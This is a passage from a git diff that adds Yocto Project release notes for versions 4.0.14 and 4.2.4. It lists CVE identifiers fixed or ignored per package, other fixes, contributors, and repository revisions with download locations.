:cve:`2021-37159`, :cve:`2021-3732`, :cve:`2021-3736`, :cve:`2021-3739`, :cve:`2021-3743`, :cve:`2021-3744`, :cve:`2021-3752`, :cve:`2021-3753`, :cve:`2021-37576`, :cve:`2021-3759`, :cve:`2021-3760`, :cve:`2021-3764`, :cve:`2021-3772`, :cve:`2021-38160`, :cve:`2021-38166`, :cve:`2021-38198`, :cve:`2021-38199`, :cve:`2021-38200`, :cve:`2021-38201`, :cve:`2021-38202`, :cve:`2021-38203`, :cve:`2021-38204`, :cve:`2021-38205`, :cve:`2021-38206`, :cve:`2021-38207`, :cve:`2021-38208`, :cve:`2021-38209`, :cve:`2021-38300`, :cve:`2021-3894`, :cve:`2021-3896`, :cve:`2021-3923`, :cve:`2021-39633`, :cve:`2021-39634`, :cve:`2021-39636`, :cve:`2021-39648`, :cve:`2021-39656`, :cve:`2021-39657`, :cve:`2021-39685`, :cve:`2021-39686`, :cve:`2021-39698`, :cve:`2021-39711`, :cve:`2021-39713`, :cve:`2021-39714`, :cve:`2021-4001`, :cve:`2021-4002`, :cve:`2021-4028`, :cve:`2021-4032`, :cve:`2021-4037`, :cve:`2021-40490`, :cve:`2021-4083`, :cve:`2021-4090`, :cve:`2021-4093`, :cve:`2021-4095`, :cve:`2021-41073`, :cve:`2021-4135`, :cve:`2021-4148`, :cve:`2021-4149`, :cve:`2021-4154`, :cve:`2021-4155`, :cve:`2021-4157`, :cve:`2021-4159`, :cve:`2021-41864`, :cve:`2021-4197`, :cve:`2021-42008`, :cve:`2021-4202`, :cve:`2021-4203`, :cve:`2021-4218`, :cve:`2021-42252`, :cve:`2021-42327`, :cve:`2021-42739`, :cve:`2021-43056`, :cve:`2021-43057`, :cve:`2021-43267`, :cve:`2021-43389`, :cve:`2021-43975`, :cve:`2021-43976`, :cve:`2021-44733`, :cve:`2021-45095`, :cve:`2021-45100`, :cve:`2021-45402`, :cve:`2021-45469`, :cve:`2021-45480`, :cve:`2021-45485`, :cve:`2021-45486`, :cve:`2021-45868`, :cve:`2021-46283`, :cve:`2022-0001`, :cve:`2022-0002`, :cve:`2022-0168`, :cve:`2022-0171`, :cve:`2022-0185`, :cve:`2022-0264`, :cve:`2022-0286`, :cve:`2022-0322`, :cve:`2022-0330`, :cve:`2022-0433`, :cve:`2022-0435`, :cve:`2022-0487`, :cve:`2022-0492`, :cve:`2022-0494`, :cve:`2022-0516`, :cve:`2022-0617`, :cve:`2022-0644`, :cve:`2022-0646`, :cve:`2022-0742`, :cve:`2022-0812`, :cve:`2022-0847`, :cve:`2022-0850`, :cve:`2022-0854`, :cve:`2022-0995`, :cve:`2022-1011`, :cve:`2022-1012`, :cve:`2022-1015`, :cve:`2022-1016`, :cve:`2022-1043`, :cve:`2022-1048`, :cve:`2022-1055`, :cve:`2022-1158`, :cve:`2022-1184`, :cve:`2022-1195`, :cve:`2022-1198`, :cve:`2022-1199`, :cve:`2022-1204`, :cve:`2022-1205`, :cve:`2022-1353`, :cve:`2022-1419`, :cve:`2022-1462`, :cve:`2022-1516`, :cve:`2022-1651`, :cve:`2022-1652`, :cve:`2022-1671`, :cve:`2022-1678`, :cve:`2022-1679`, :cve:`2022-1729`, :cve:`2022-1734`, :cve:`2022-1786`, :cve:`2022-1789`, :cve:`2022-1836`, :cve:`2022-1852`, :cve:`2022-1882`, :cve:`2022-1943`, :cve:`2022-1966`, :cve:`2022-1972`, :cve:`2022-1973`, :cve:`2022-1974`, :cve:`2022-1975`, :cve:`2022-1976`, :cve:`2022-1998`, :cve:`2022-20008`, :cve:`2022-20132`, :cve:`2022-20141`, :cve:`2022-20153`, :cve:`2022-20154`, :cve:`2022-20158`, :cve:`2022-20166`, :cve:`2022-20368`, :cve:`2022-20369`, :cve:`2022-20421`, :cve:`2022-20422`, :cve:`2022-20423`, :cve_mitre:`2022-20565`, :cve:`2022-20566`, :cve:`2022-20567`, :cve:`2022-20572`, :cve:`2022-2078`, :cve:`2022-21123`, :cve:`2022-21125`, :cve:`2022-21166`, :cve:`2022-21385`, :cve:`2022-21499`, :cve_mitre:`2022-21505`, :cve:`2022-2153`, :cve:`2022-2196`, :cve_mitre:`2022-22942`, :cve:`2022-23036`, :cve:`2022-23037`, :cve:`2022-23038`, :cve:`2022-23039`, :cve:`2022-23040`, :cve:`2022-23041`, :cve:`2022-23042`, :cve:`2022-2308`, :cve:`2022-2318`, :cve:`2022-2380`, :cve:`2022-23816`, :cve:`2022-23960`, :cve:`2022-24122`, :cve:`2022-24448`, :cve:`2022-24958`, :cve:`2022-24959`, :cve:`2022-2503`, :cve:`2022-25258`, :cve:`2022-25375`, :cve:`2022-25636`, :cve_mitre:`2022-2585`, :cve_mitre:`2022-2586`, :cve_mitre:`2022-2588`, :cve:`2022-2590`, :cve_mitre:`2022-2602`, :cve:`2022-26365`, :cve:`2022-26373`, :cve:`2022-2639`, :cve:`2022-26490`, :cve:`2022-2663`, :cve:`2022-26966`, :cve:`2022-27223`, :cve:`2022-27666`, :cve:`2022-2785`, :cve:`2022-27950`, :cve:`2022-28356`, :cve:`2022-28388`, :cve:`2022-28389`, :cve:`2022-28390`, :cve:`2022-2873`, :cve:`2022-28796`, :cve:`2022-28893`, :cve:`2022-2905`, :cve:`2022-29156`, :cve:`2022-2938`, :cve:`2022-29581`, :cve:`2022-29582`, :cve:`2022-2959`, :cve:`2022-2964`, :cve:`2022-2977`, :cve:`2022-2978`, :cve:`2022-29900`, :cve:`2022-29901`, :cve:`2022-29968`, :cve:`2022-3028`, :cve:`2022-30594`, :cve:`2022-3061`, :cve:`2022-3077`, :cve:`2022-3078`, :cve:`2022-3103`, :cve:`2022-3104`, :cve:`2022-3105`, :cve:`2022-3106`, :cve:`2022-3107`, :cve:`2022-3110`, :cve:`2022-3111`, :cve:`2022-3112`, :cve:`2022-3113`, :cve:`2022-3114`, :cve:`2022-3115`, :cve:`2022-3169`, :cve:`2022-3170`, :cve:`2022-3202`, :cve:`2022-32250`, :cve:`2022-32296`, :cve:`2022-3239`, :cve:`2022-32981`, :cve:`2022-3303`, :cve:`2022-33740`, :cve:`2022-33741`, :cve:`2022-33742`, :cve:`2022-33743`, :cve:`2022-33744`, :cve:`2022-33981`, :cve:`2022-3424`, :cve:`2022-3435`, :cve:`2022-34494`, :cve:`2022-34495`, :cve:`2022-34918`, :cve:`2022-3521`, :cve:`2022-3524`, :cve:`2022-3526`, :cve:`2022-3531`, :cve:`2022-3532`, :cve:`2022-3534`, :cve:`2022-3535`, :cve:`2022-3541`, :cve:`2022-3542`, :cve:`2022-3543`, :cve:`2022-3545`, :cve:`2022-3564`, :cve:`2022-3565`, :cve:`2022-3577`, :cve:`2022-3586`, :cve:`2022-3594`, :cve:`2022-36123`, :cve:`2022-3619`, :cve:`2022-3621`, :cve:`2022-3623`, :cve:`2022-3625`, :cve:`2022-3628`, :cve:`2022-36280`, :cve:`2022-3629`, :cve:`2022-3630`, :cve:`2022-3633`, :cve:`2022-3635`, :cve:`2022-3640`, :cve:`2022-3643`, :cve:`2022-3646`, :cve:`2022-3649`, :cve:`2022-36879`, :cve:`2022-36946`, :cve:`2022-3707`, :cve:`2022-3910`, :cve:`2022-39189`, :cve:`2022-39190`, :cve:`2022-3977`, :cve:`2022-39842`, :cve:`2022-40307`, :cve:`2022-40476`, :cve:`2022-40768`, :cve:`2022-4095`, :cve:`2022-40982`, :cve:`2022-41218`, :cve:`2022-41222`, :cve:`2022-4127`, :cve:`2022-4128`, :cve:`2022-4129`, :cve:`2022-4139`, :cve:`2022-41674`, :cve:`2022-41849`, :cve:`2022-41850`, :cve:`2022-41858`, :cve:`2022-42328`, :cve:`2022-42329`, :cve:`2022-42432`, :cve:`2022-4269`, :cve:`2022-42703`, :cve:`2022-42719`, :cve:`2022-42720`, :cve:`2022-42721`, :cve:`2022-42722`, :cve:`2022-42895`, :cve:`2022-42896`, :cve:`2022-43750`, :cve:`2022-4378`, :cve:`2022-4379`, :cve:`2022-4382`, :cve:`2022-43945`, :cve:`2022-45869`, :cve:`2022-45886`, :cve:`2022-45887`, :cve:`2022-45888`, :cve:`2022-45919`, :cve:`2022-45934`, :cve:`2022-4662`, :cve:`2022-4744`, :cve:`2022-47518`, :cve:`2022-47519`, :cve:`2022-47520`, :cve:`2022-47521`, :cve:`2022-47929`, :cve:`2022-47938`, :cve:`2022-47939`, :cve:`2022-47940`, :cve:`2022-47941`, :cve:`2022-47942`, :cve:`2022-47943`, :cve:`2022-4842`, :cve:`2022-48423`, :cve:`2022-48424`, :cve:`2022-48425`, :cve:`2022-48502`, :cve:`2023-0030`, :cve:`2023-0045`, :cve:`2023-0047`, :cve:`2023-0122`, :cve:`2023-0160`, :cve:`2023-0179`, :cve:`2023-0210`, :cve:`2023-0240`, :cve:`2023-0266`, :cve:`2023-0394`, :cve:`2023-0458`, :cve:`2023-0459`, :cve:`2023-0461`, :cve:`2023-0468`, :cve:`2023-0469`, :cve:`2023-0590`, :cve:`2023-0615`, :cve_mitre:`2023-1032`, :cve:`2023-1073`, :cve:`2023-1074`, :cve:`2023-1076`, :cve:`2023-1077`, :cve:`2023-1078`, :cve:`2023-1079`, :cve:`2023-1095`, :cve:`2023-1118`, :cve:`2023-1192`, :cve:`2023-1194`, :cve:`2023-1195`, :cve:`2023-1206`, :cve:`2023-1249`, :cve:`2023-1252`, :cve:`2023-1281`, :cve:`2023-1380`, :cve:`2023-1382`, :cve:`2023-1390`, :cve:`2023-1513`, :cve:`2023-1582`, :cve:`2023-1583`, :cve:`2023-1611`, :cve:`2023-1637`, :cve:`2023-1652`, :cve:`2023-1670`, :cve:`2023-1829`, :cve:`2023-1838`, :cve:`2023-1855`, :cve:`2023-1859`, :cve:`2023-1989`, :cve:`2023-1990`, :cve:`2023-1998`, :cve:`2023-2002`, :cve:`2023-2006`, :cve:`2023-2008`, :cve:`2023-2019`, :cve:`2023-20569`, :cve:`2023-20588`, :cve:`2023-20593`, :cve:`2023-20938`, :cve:`2023-21102`, :cve:`2023-21106`, :cve:`2023-2124`, :cve:`2023-21255`, :cve:`2023-21264`, :cve:`2023-2156`, :cve:`2023-2162`, :cve:`2023-2163`, :cve:`2023-2166`, :cve:`2023-2177`, :cve:`2023-2194`, :cve:`2023-2235`, :cve:`2023-2236`, :cve:`2023-2248`, :cve:`2023-2269`, :cve:`2023-22996`, :cve:`2023-22997`, :cve:`2023-22998`, :cve:`2023-22999`, :cve:`2023-23001`, :cve:`2023-23002`, :cve:`2023-23003`, :cve:`2023-23004`, :cve:`2023-23005`, :cve:`2023-23006`, :cve:`2023-23454`, :cve:`2023-23455`, :cve:`2023-23559`, :cve:`2023-2483`, :cve:`2023-25012`, :cve:`2023-2513`, :cve:`2023-25775`, :cve:`2023-2598`, :cve:`2023-26544`, :cve:`2023-26545`, :cve:`2023-26605`, :cve:`2023-26606`, :cve:`2023-26607`, :cve:`2023-28327`, :cve:`2023-28328`, :cve:`2023-28410`, :cve:`2023-28464`, :cve:`2023-28466`, :cve:`2023-2860`, :cve:`2023-28772`, :cve:`2023-28866`, :cve:`2023-2898`, :cve:`2023-2985`, :cve:`2023-3006`, :cve:`2023-30456`, :cve:`2023-30772`, :cve:`2023-3090`, :cve:`2023-3106`, :cve:`2023-3111`, :cve:`2023-3117`, :cve:`2023-31248`, :cve:`2023-3141`, :cve:`2023-31436`, :cve:`2023-3159`, :cve:`2023-3161`, :cve:`2023-3212`, :cve:`2023-3220`, :cve:`2023-32233`, :cve:`2023-32247`, :cve:`2023-32248`, :cve:`2023-32250`, :cve:`2023-32252`, :cve:`2023-32254`, :cve:`2023-32257`, :cve:`2023-32258`, :cve:`2023-32269`, :cve:`2023-3268`, :cve:`2023-3269`, :cve:`2023-3312`, :cve:`2023-3317`, :cve:`2023-33203`, :cve:`2023-33250`, :cve:`2023-33288`, :cve:`2023-3338`, :cve:`2023-3355`, :cve:`2023-3357`, :cve:`2023-3358`, :cve:`2023-3359`, :cve:`2023-3390`, :cve:`2023-33951`, :cve:`2023-33952`, :cve:`2023-34255`, :cve:`2023-34256`, :cve:`2023-34319`, :cve:`2023-3439`, :cve:`2023-35001`, :cve:`2023-3567`, :cve:`2023-35788`, :cve:`2023-35823`, :cve:`2023-35824`, :cve:`2023-35826`, :cve:`2023-35828`, :cve:`2023-35829`, :cve:`2023-3609`, :cve:`2023-3610`, :cve:`2023-3611`, :cve:`2023-37453`, :cve:`2023-3772`, :cve:`2023-3773`, :cve:`2023-3776`, :cve:`2023-3777`, :cve:`2023-3812`, :cve:`2023-38409`, :cve:`2023-38426`, :cve:`2023-38427`, :cve:`2023-38428`, :cve:`2023-38429`, :cve:`2023-38430`, :cve:`2023-38431`, :cve:`2023-38432`, :cve:`2023-3863`, :cve_mitre:`2023-3865`, :cve_mitre:`2023-3866`, :cve_mitre:`2023-3867`, :cve:`2023-39189`, :cve:`2023-39192`, :cve:`2023-39193`, :cve:`2023-39194`, :cve:`2023-4004`, :cve:`2023-4015`, :cve:`2023-40283`, :cve:`2023-4128`, :cve:`2023-4132`, :cve:`2023-4147`, :cve:`2023-4155`, :cve:`2023-4194`, :cve:`2023-4206`, :cve:`2023-4207`, :cve:`2023-4208`, :cve:`2023-4273`, :cve:`2023-42752`, :cve:`2023-42753`, :cve:`2023-42755`, :cve:`2023-42756`, :cve:`2023-4385`, :cve:`2023-4387`, :cve:`2023-4389`, :cve:`2023-4394`, :cve:`2023-44466`, :cve:`2023-4459`, :cve:`2023-4569`, :cve:`2023-45862`, :cve:`2023-45871`, :cve:`2023-4611`, :cve:`2023-4623`, :cve:`2023-4732`, :cve:`2023-4921` and :cve:`2023-5345`
+- linux-yocto/5.15: Ignore :cve:`2022-45886`, :cve:`2022-45887`, :cve:`2022-45919`, :cve:`2022-48502`, :cve:`2023-0160`, :cve:`2023-1206`, :cve:`2023-20593`, :cve:`2023-21264`, :cve:`2023-2898`, :cve:`2023-31248`, :cve:`2023-33250`, :cve:`2023-34319`, :cve:`2023-35001`, :cve:`2023-3611`, :cve:`2023-37453`, :cve:`2023-3773`, :cve:`2023-3776`, :cve:`2023-3777`, :cve:`2023-38432`, :cve:`2023-3863`, :cve_mitre:`2023-3865`, :cve_mitre:`2023-3866`, :cve:`2023-4004`, :cve:`2023-4015`, :cve:`2023-4132`, :cve:`2023-4147`, :cve:`2023-4194`, :cve:`2023-4385`, :cve:`2023-4387`, :cve:`2023-4389`, :cve:`2023-4394`, :cve:`2023-4459` and :cve:`2023-4611`
+- openssl: Fix :cve:`2023-4807` and :cve:`2023-5363`
+- python3-git: Fix :cve:`2023-40590` and :cve:`2023-41040`
+- python3-urllib3: Fix :cve:`2023-43804`
+- qemu: Ignore :cve:`2023-2680`
+- ruby: Fix :cve:`2023-36617`
+- shadow: Fix :cve_mitre:`2023-4641`
+- tiff: Fix :cve:`2023-3576` and :cve:`2023-40745`
+- vim: Fix :cve:`2023-5441` and :cve:`2023-5535`
+- webkitgtk: Fix :cve:`2023-32439`
+- xdg-utils: Fix :cve:`2022-4055`
+- xserver-xorg: ignore :cve:`2022-3553` (XQuartz-specific)
+- zlib: Fix :cve:`2023-45853`
+
+
+
+Fixes in Yocto-4.0.14
+~~~~~~~~~~~~~~~~~~~~~
+
+- SECURITY.md: Add file
+- apt: add missing <cstdint> for uint16_t
+- bind: update to 9.18.19
+- bitbake: SECURITY.md: add file
+- bitbake: bitbake-getvar: Add a quiet command line argument
+- bitbake: bitbake-worker/runqueue: Avoid unnecessary bytes object copies
+- brief-yoctoprojectqs: use new CDN mirror for sstate
+- bsp-guide: bsp.rst: replace reference to wiki
+- bsp-guide: bsp: skip Intel machines no longer supported in Poky
+- build-appliance-image: Update to kirkstone head revision
+- ccache: fix build with gcc-13
+- cml1: Fix KCONFIG_CONFIG_COMMAND not conveyed fully in do_menuconfig
+- contributor-guide/style-guide: Add a note about task idempotence
+- contributor-guide/style-guide: Refer to recipes, not packages
+- contributor-guide: deprecate "Accepted" patch status
+- contributor-guide: discourage marking patches as Inappropriate
+- contributor-guide: recipe-style-guide: add more patch tagging examples
+- contributor-guide: recipe-style-guide: add section about CVE patches
+- contributor-guide: style-guide: discourage using Pending patch status
+- dev-manual: add security team processes
+- dev-manual: fix testimage usage instructions
+- dev-manual: layers: Add notes about layer.conf
+- dev-manual: new-recipe.rst: add missing parenthesis to "Patching Code" section
+- dev-manual: new-recipe.rst: replace reference to wiki
+- dev-manual: start.rst: remove obsolete reference
+- dev-manual: wic: update "wic list images" output
+- dev/ref-manual: Document :term:`INIT_MANAGER`
+- fontcache.bbclass: avoid native recipes depending on target fontconfig
+- glibc: Update to latest on stable 2.35 branch (c84018a05aec..)
+- json-c: define :term:`CVE_VERSION`
+- kernel.bbclass: Add force flag to rm calls
+- libxpm: upgrade to 3.5.17
+- linux-firmware: create separate packages
+- linux-firmware: upgrade to 20230804
+- linux-yocto/5.10: update to v5.10.197
+- linux-yocto: update CVE exclusions
+- manuals: correct "yocto-linux" by "linux-yocto"
+- manuals: update linux-yocto append examples
+- migration-guides: add release notes for 4.0.13
+- openssl: Upgrade to 3.0.12
+- overview: Add note about non-reproducibility side effects
+- package_rpm: Allow compression mode override
+- poky.conf: bump version for 4.0.14
+- profile-manual: aesthetic cleanups
+- python3-git: upgrade to 3.1.37
+- python3-jinja2: fix for the ptest result format
+- python3-urllib3: upgrade to 1.26.17
+- ref-manual: Fix :term:`PACKAGECONFIG` term and add an example
+- ref-manual: Warn about :term:`COMPATIBLE_MACHINE` skipping native recipes
+- ref-manual: releases.svg: Scarthgap is now version 5.0
+- ref-manual: variables: add :term:`RECIPE_SYSROOT` and :term:`RECIPE_SYSROOT_NATIVE`
+- ref-manual: variables: add :term:`TOOLCHAIN_OPTIONS` variable
+- ref-manual: variables: add example for :term:`SYSROOT_DIRS` variable
+- ref-manual: variables: provide no-match example for :term:`COMPATIBLE_MACHINE`
+- sdk-manual: appendix-obtain: improve and update descriptions
+- test-manual: reproducible-builds: stop mentioning LTO bug
+- uboot-extlinux-config.bbclass: fix missed override syntax migration
+- vim: Upgrade to 9.0.2048
+
+
+Known Issues in Yocto-4.0.14
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- N/A
+
+
+Contributors to Yocto-4.0.14
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- Alexander Kanavin
+- Archana Polampalli
+- Armin Kuster
+- Arne Schwerdt
+- BELHADJ SALEM Talel
+- Bruce Ashfield
+- Chaitanya Vadrevu
+- Colin McAllister
+- Deepthi Hemraj
+- Etienne Cordonnier
+- Fahad Arslan
+- Hitendra Prajapati
+- Jaeyoon Jung
+- Joshua Watt
+- Khem Raj
+- Lee Chee Yang
+- Marta Rybczynska
+- Martin Jansa
+- Meenali Gupta
+- Michael Opdenacker
+- Narpat Mali
+- Niko Mauno
+- Paul Eggleton
+- Paulo Neves
+- Peter Marko
+- Quentin Schulz
+- Richard Purdie
+- Robert P. J. Day
+- Roland Hieber
+- Ross Burton
+- Ryan Eatmon
+- Shubham Kulkarni
+- Siddharth Doshi
+- Soumya Sambu
+- Steve Sakoman
+- Tim Orling
+- Trevor Gamblin
+- Vijay Anusuri
+- Wang Mingyu
+- Yash Shinde
+- Yogita Urade
+
+
+Repositories / Downloads for Yocto-4.0.14
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+poky
+
+- Repository Location: :yocto_git:`/poky`
+- Branch: :yocto_git:`kirkstone </poky/log/?h=kirkstone>`
+- Tag: :yocto_git:`yocto-4.0.14 </poky/log/?h=yocto-4.0.14>`
+- Git Revision: :yocto_git:`d8d6d921fad14b82167d9f031d4fca06b5e01883 </poky/commit/?id=d8d6d921fad14b82167d9f031d4fca06b5e01883>`
+- Release Artefact: poky-d8d6d921fad14b82167d9f031d4fca06b5e01883
+- sha: 46a6301e3921ee67cfe6be7ea544d6257f0c0f02ef15c5091287e024ff02d5f5
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.0.14/poky-d8d6d921fad14b82167d9f031d4fca06b5e01883.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.0.14/poky-d8d6d921fad14b82167d9f031d4fca06b5e01883.tar.bz2
+
+openembedded-core
+
+- Repository Location: :oe_git:`/openembedded-core`
+- Branch: :oe_git:`kirkstone </openembedded-core/log/?h=kirkstone>`
+- Tag: :oe_git:`yocto-4.0.14 </openembedded-core/log/?h=yocto-4.0.14>`
+- Git Revision: :oe_git:`0eb8e67aa6833df0cde29833568a70e65c21d7e5 </openembedded-core/commit/?id=0eb8e67aa6833df0cde29833568a70e65c21d7e5>`
+- Release Artefact: oecore-0eb8e67aa6833df0cde29833568a70e65c21d7e5
+- sha: d510a7067b87ba935b8a7c9f9608d0e06b057009ea753ed190ddfacc7195ecc5
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.0.14/oecore-0eb8e67aa6833df0cde29833568a70e65c21d7e5.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.0.14/oecore-0eb8e67aa6833df0cde29833568a70e65c21d7e5.tar.bz2
+
+meta-mingw
+
+- Repository Location: :yocto_git:`/meta-mingw`
+- Branch: :yocto_git:`kirkstone </meta-mingw/log/?h=kirkstone>`
+- Tag: :yocto_git:`yocto-4.0.14 </meta-mingw/log/?h=yocto-4.0.14>`
+- Git Revision: :yocto_git:`f6b38ce3c90e1600d41c2ebb41e152936a0357d7 </meta-mingw/commit/?id=f6b38ce3c90e1600d41c2ebb41e152936a0357d7>`
+- Release Artefact: meta-mingw-f6b38ce3c90e1600d41c2ebb41e152936a0357d7
+- sha: 7d57167c19077f4ab95623d55a24c2267a3a3fb5ed83688659b4c03586373b25
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.0.14/meta-mingw-f6b38ce3c90e1600d41c2ebb41e152936a0357d7.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.0.14/meta-mingw-f6b38ce3c90e1600d41c2ebb41e152936a0357d7.tar.bz2
+
+meta-gplv2
+
+- Repository Location: :yocto_git:`/meta-gplv2`
+- Branch: :yocto_git:`kirkstone </meta-gplv2/log/?h=kirkstone>`
+- Tag: :yocto_git:`yocto-4.0.14 </meta-gplv2/log/?h=yocto-4.0.14>`
+- Git Revision: :yocto_git:`d2f8b5cdb285b72a4ed93450f6703ca27aa42e8a </meta-gplv2/commit/?id=d2f8b5cdb285b72a4ed93450f6703ca27aa42e8a>`
+- Release Artefact: meta-gplv2-d2f8b5cdb285b72a4ed93450f6703ca27aa42e8a
+- sha: c386f59f8a672747dc3d0be1d4234b6039273d0e57933eb87caa20f56b9cca6d
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.0.14/meta-gplv2-d2f8b5cdb285b72a4ed93450f6703ca27aa42e8a.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.0.14/meta-gplv2-d2f8b5cdb285b72a4ed93450f6703ca27aa42e8a.tar.bz2
+
+bitbake
+
+- Repository Location: :oe_git:`/bitbake`
+- Branch: :oe_git:`2.0 </bitbake/log/?h=2.0>`
+- Tag: :oe_git:`yocto-4.0.14 </bitbake/log/?h=yocto-4.0.14>`
+- Git Revision: :oe_git:`6c1ffa9091d0c53a100e8c8c15122d28642034bd </bitbake/commit/?id=6c1ffa9091d0c53a100e8c8c15122d28642034bd>`
+- Release Artefact: bitbake-6c1ffa9091d0c53a100e8c8c15122d28642034bd
+- sha: 1ceffc3b3359063341530c989a3606c897d862b61111538e683f101b02a360a2
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.0.14/bitbake-6c1ffa9091d0c53a100e8c8c15122d28642034bd.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.0.14/bitbake-6c1ffa9091d0c53a100e8c8c15122d28642034bd.tar.bz2
+
+yocto-docs
+
+- Repository Location: :yocto_git:`/yocto-docs`
+- Branch: :yocto_git:`kirkstone </yocto-docs/log/?h=kirkstone>`
+- Tag: :yocto_git:`yocto-4.0.14 </yocto-docs/log/?h=yocto-4.0.14>`
+- Git Revision: :yocto_git:`260b446a1a75d99399a3421cd8d6ba276f508f37 </yocto-docs/commit/?id=260b446a1a75d99399a3421cd8d6ba276f508f37>`
+
diff --git a/poky/documentation/migration-guides/release-notes-4.2.4.rst b/poky/documentation/migration-guides/release-notes-4.2.4.rst
new file mode 100644
index 0000000000..3c20140e29
--- /dev/null
+++ b/poky/documentation/migration-guides/release-notes-4.2.4.rst
@@ -0,0 +1,364 @@
+.. SPDX-License-Identifier: CC-BY-SA-2.0-UK
+
+Release notes for Yocto-4.2.4 (Mickledore)
+------------------------------------------
+
+Security Fixes in Yocto-4.2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- bind: Fix :cve:`2023-3341` and :cve:`2023-4236`
+- binutils: Fix :cve:`2023-39128`
+- cups: fix :cve:`2023-4504`
+- curl: Fix :cve:`2023-28320`, :cve:`2023-32001`, :cve:`2023-38039`, :cve:`2023-38545` and :cve:`2023-38546`
+- dmidecode: fix for :cve:`2023-30630`
+- dropbear: fix :cve:`2023-36328`
+- ffmpeg: Ignore :cve:`2023-39018`
+- gcc: Fix :cve:`2023-4039`
+- gdb: Fix :cve:`2023-39128`
+- ghostscript: Fix :cve:`2023-38559` and :cve:`2023-43115`
+- glibc: Fix :cve:`2023-4527` and :cve:`2023-4806`
+- go: Fix :cve:`2023-29409` and :cve:`2023-39533`
+- grub: Fix :cve:`2023-4692` and :cve:`2023-4693`
+- gstreamer: Fix :cve_mitre:`2023-40474`, :cve_mitre:`2023-40475` and :cve_mitre:`2023-40476`
+- inetutils: fix :cve:`2023-40303`
+- librsvg: Fix :cve:`2023-38633`
+- libssh2: Fix :cve:`2020-22218`
+- libwebp: Fix :cve:`2023-4863` and :cve:`2023-5129`
+- libx11: Fix :cve:`2023-43785`, :cve:`2023-43786` and :cve:`2023-43787`
+- libxpm: Fix :cve:`2023-43788` and :cve:`2023-43789`
+- linux-yocto/6.1: Ignore :cve:`2003-1604`, :cve:`2004-0230`, :cve:`2006-3635`, :cve:`2006-5331`, :cve:`2006-6128`, :cve:`2007-4774`, :cve:`2007-6761`, :cve:`2007-6762`, :cve:`2008-7316`, :cve:`2009-2692`, :cve:`2010-0008`, :cve:`2010-3432`, :cve:`2010-4648`, :cve:`2010-5313`, :cve:`2010-5328`, :cve:`2010-5329`, :cve:`2010-5331`, :cve:`2010-5332`, :cve:`2011-4098`, :cve:`2011-4131`, :cve:`2011-4915`, :cve:`2011-5321`, :cve:`2011-5327`, :cve:`2012-0957`, :cve:`2012-2119`, :cve:`2012-2136`, :cve:`2012-2137`, :cve:`2012-2313`, :cve:`2012-2319`, :cve:`2012-2372`, :cve:`2012-2375`, :cve:`2012-2390`, :cve:`2012-2669`, :cve:`2012-2744`, :cve:`2012-2745`, :cve:`2012-3364`, :cve:`2012-3375`, :cve:`2012-3400`, :cve:`2012-3412`, :cve:`2012-3430`, :cve:`2012-3510`, :cve:`2012-3511`, :cve:`2012-3520`, :cve:`2012-3552`, :cve:`2012-4398`, :cve:`2012-4444`, :cve:`2012-4461`, :cve:`2012-4467`, :cve:`2012-4508`, :cve:`2012-4530`, :cve:`2012-4565`, :cve:`2012-5374`, :cve:`2012-5375`, :cve:`2012-5517`, :cve:`2012-6536`, :cve:`2012-6537`, :cve:`2012-6538`, :cve:`2012-6539`, :cve:`2012-6540`, :cve:`2012-6541`, :cve:`2012-6542`, :cve:`2012-6543`, :cve:`2012-6544`, :cve:`2012-6545`, :cve:`2012-6546`, :cve:`2012-6547`, :cve:`2012-6548`, :cve:`2012-6549`, :cve:`2012-6638`, :cve:`2012-6647`, :cve:`2012-6657`, :cve:`2012-6689`, :cve:`2012-6701`, :cve:`2012-6703`, :cve:`2012-6704`, :cve:`2012-6712`, :cve:`2013-0160`, :cve:`2013-0190`, :cve:`2013-0216`, :cve:`2013-0217`, :cve:`2013-0228`, :cve:`2013-0231`, :cve:`2013-0268`, :cve:`2013-0290`, :cve:`2013-0309`, :cve:`2013-0310`, :cve:`2013-0311`, :cve:`2013-0313`, :cve:`2013-0343`, :cve:`2013-0349`, :cve:`2013-0871`, :cve:`2013-0913`, :cve:`2013-0914`, :cve:`2013-1059`, :cve:`2013-1763`, :cve:`2013-1767`, :cve:`2013-1772`, :cve:`2013-1773`, :cve:`2013-1774`, :cve:`2013-1792`, :cve:`2013-1796`, :cve:`2013-1797`, :cve:`2013-1798`, :cve:`2013-1819`, :cve:`2013-1826`, :cve:`2013-1827`, :cve:`2013-1828`, :cve:`2013-1848`, :cve:`2013-1858`, :cve:`2013-1860`, :cve:`2013-1928`, :cve:`2013-1929`, :cve:`2013-1943`, :cve:`2013-1956`, :cve:`2013-1957`, :cve:`2013-1958`, :cve:`2013-1959`, :cve:`2013-1979`, :cve:`2013-2015`, :cve:`2013-2017`, :cve:`2013-2058`, :cve:`2013-2094`, :cve:`2013-2128`, :cve:`2013-2140`, :cve:`2013-2141`, :cve:`2013-2146`, :cve:`2013-2147`, :cve:`2013-2148`, :cve:`2013-2164`, :cve:`2013-2206`, :cve:`2013-2232`, :cve:`2013-2234`, :cve:`2013-2237`, :cve:`2013-2546`, :cve:`2013-2547`, :cve:`2013-2548`, :cve:`2013-2596`, :cve:`2013-2634`, :cve:`2013-2635`, :cve:`2013-2636`, :cve:`2013-2850`, :cve:`2013-2851`, :cve:`2013-2852`, :cve:`2013-2888`, :cve:`2013-2889`, :cve:`2013-2890`, :cve:`2013-2891`, :cve:`2013-2892`, :cve:`2013-2893`, :cve:`2013-2894`, :cve:`2013-2895`, :cve:`2013-2896`, :cve:`2013-2897`, :cve:`2013-2898`, :cve:`2013-2899`, :cve:`2013-2929`, 